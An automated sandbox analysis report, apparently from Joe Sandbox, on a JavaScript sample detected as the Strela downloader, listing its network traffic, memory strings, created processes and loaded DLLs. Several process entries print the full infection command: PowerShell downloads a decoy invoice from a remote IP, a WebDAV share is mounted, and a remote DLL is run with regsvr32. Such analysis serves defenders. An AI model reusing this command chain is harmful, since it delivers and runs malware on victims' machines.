
Source: global traffic

TCP traffic: 192.168.2.9:49765 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49749 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1379084726.0000025223BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1437186316.000001F28462F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1436175201.000001F284611000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1436751349.000001F284611000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1434863609.000001F28462D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1436694381.000001F2845D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1436694381.000001F2845D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/log5
Source: svchost.exe, 00000009.00000002.2663012920.0000020F3D800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1439193451.0000020F3D660000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1384, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23754232101540928500.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6980:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vlen3lgj.n2p.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23754232101540928500.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,11982720201399169687,571317967426067473,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27353800128196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,11982720201399169687,571317967426067473,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
